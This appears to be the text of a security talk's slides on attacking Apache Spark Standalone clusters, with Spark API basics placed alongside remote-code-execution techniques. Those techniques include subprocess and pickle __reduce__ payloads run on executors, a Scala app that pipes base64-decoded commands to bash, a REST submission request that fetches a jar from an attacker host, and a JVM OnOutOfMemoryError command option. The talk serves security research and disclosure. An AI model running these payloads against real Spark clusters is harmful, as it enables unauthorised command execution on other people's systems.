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10 times less code

3 times faster

10 times less nodes

import org.apache.spark.{SparkContext, SparkConf}

val sc = new SparkContext(new SparkConf())
val textFile = sc.textFile("hdfs://...")
val counts = textFile.flatMap(line => line.split(" "))

.map(word => (word, 1))

.reduceByKey(_ + _)
counts.saveAsTextFile("hdfs://...")
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How does it work?
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Client mode:
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Spark/core/src/main/scala/org/apache/spark/rpc/netty/RpcEndpointVerifier.scala
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Our first attempt at code exec



from pyspark import SparkContext, SparkConf

from subprocess import Popen, PIPE
print(Popen(["id"], stdout=PIPE).stdout.read())

sc = SparkContext(conf=conf)

conf = SparkConf()
conf = conf.setAppName("Wordcount")
conf = conf.setMaster("spark://192.168.1.37:7077")
conf = conf.set("spark.driver.host", "192.168.1.22")









Spark APIs

input = open("input.txt", "r")

input = sc.textFile("input.txt")

input = [1, 2, 3, 4, 5]

input = sc.parallelize([1, 2, 3, 4, 5])
[1, 2, 3]

[4, 5]

Resilient Distributed Datasets (RDD)



input = sc.parallelize([1, 2, 3, 5, 4])

Transformations

def multiply(x):
return x*20

res = input.map(multiply)
[20, 40, 60]

[80, 100]

Nothing gets sent to the workers just yet

Not computed yet!



Directed Acyclic Graph (DAG)

parallelize

map

filterMap

Collect => Graph sent to the executors
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from pyspark import SparkContext, SparkConf
from subprocess import Popen, PIPE

conf = SparkConf()
conf = conf.setAppName("Wordcount")
conf = conf.setMaster("spark://192.168.1.37:7077")
conf = conf.set("spark.driver.host", "192.168.1.22")
sc = SparkContext(conf=conf)

input = sc.parallelize([1, 2, 3, 4, 5])

res = input.map(lambda x: Popen(["id"], stdout=PIPE).stdout.read())

for a in res.collect():
print(a)









But…there are some problems



Python version on driver == Python version on executors





import sys, collections, os

myver = collections.namedtuple("myver", "major, minor, micro, releaselevel, serial")

sc = SparkContext(conf=conf)

input = sc.parallelize([1, 2, 3, 4, 5])
res = input.map(lambda:…)
res.Collect()…

sys.version_info = myver(major=3, minor=5, micro=0, releaselevel="final", serial=0)



import sys, collections, os

myver = collections.namedtuple("myver", "major, minor, micro, releaselevel, serial")

class hey(object):
def __reduce__(self):

return (os.system, ("echo Pwned > /tmp/out.txt",))

def multiplyMe(self, x):
return x * 20

res = input.map(hey().multiplyMe)

sys.version_info = myver(major=3, minor=5, micro=0, releaselevel="final", serial=0)





And then more…
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…
conf = SparkConf()
conf = conf.setAppName("Wordcount")
conf = conf.set("spark.driver.port", 8080)
conf = conf.set("spark.blockManager.port", 8443)
…

Option 1: using the right ports
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Option 2: cluster mode

We only need access to port 7077!



object SimpleApp {

def makeInt(s: String): Try[Int] = Try(s.trim.toInt)

… snip …

def executeOnSpark(cmd: String, numTasks: Int) ={
val sc = new SparkContext(new SparkConf())
val myList = sc.parallelize(List.range(0, numTasks), numTasks)
val output = myList.map( x => (s"echo -ne $cmd" #| "base64 -d" #| "bash")!!)
output.collect().zipWithIndex.foreach{ case (e, i) => println(s"[+] worker $i\n$e\n========="

}

… snip …
def main(args: Array[String]) {
val numTasks = (args.lift(1) match {

case Some(x:String) => (makeInt(x) match{
case Success(x) => x
case _ => 1

})
case _ => 1

})
executeOnSpark(args(0), numTasks)

}
}





Curious case of the REST API











POST http://192.168.1.96:6066/v1/submissions/create
{

"action": "CreateSubmissionRequest",
"appResource": "http://192.168.1.22:9090/simpleApp.jar",
"mainClass": "SimpleApp",
"appArgs": [

"ZWNobyBwd25lZCA+IC90bXAvb3V0LnR4dA=="
],
"clientSparkVersion": "2.4.3",
"environmentVariables": {

"SPARK_ENV_LOADED": "1"
},
"sparkProperties": {

"spark.master": "spark://192.168.1.96:7077",
"spark.driver.supervise": "false",
"spark.app.name": "Word Count",
"spark.submit.deployMode": "cluster",
"spark.jars": "http://192.168.1.22:9090/simpleApp.jar"

}
}





https://gist.github.com/arturmkrtchyan/5d8559b2911ac951d34a



https://github.com/vulhub/vulhub/tree/master/spark/unacc



exploit/linux/http/spark_unauth_rce



Authentication



# /opt/spark/conf/spark-defaults.conf

spark.authenticate = true
spark.authenticate.secret = BBBBBBB
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Half_A1 = md5(b64_username, :, realm, : ,b64_secret)

A1 = md5(Half_A1, :, srvNonce, :, cliNonce)

A2 = md5("AUTHENTICATE:null/default")

Response = md5(A1, :, servNonce, :00000001:, cliNonce, ":auth:", A2 )

Described in RFC 2831
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RCE is a definite maybe













…
conf = SparkConf()
conf = conf.setAppName("Wordcount")
conf = conf.set(

"spark.executor.extraJavaOptions",
"-Xmx:1m -XX:OnOutOfMemoryError=<cmd>"

)
…















Summary



Spark is awesome! 

Too bad security is not taken seriously



Spark is awesome! 

Too bad security is not taken seriously

We only covered Spark Standalone mode
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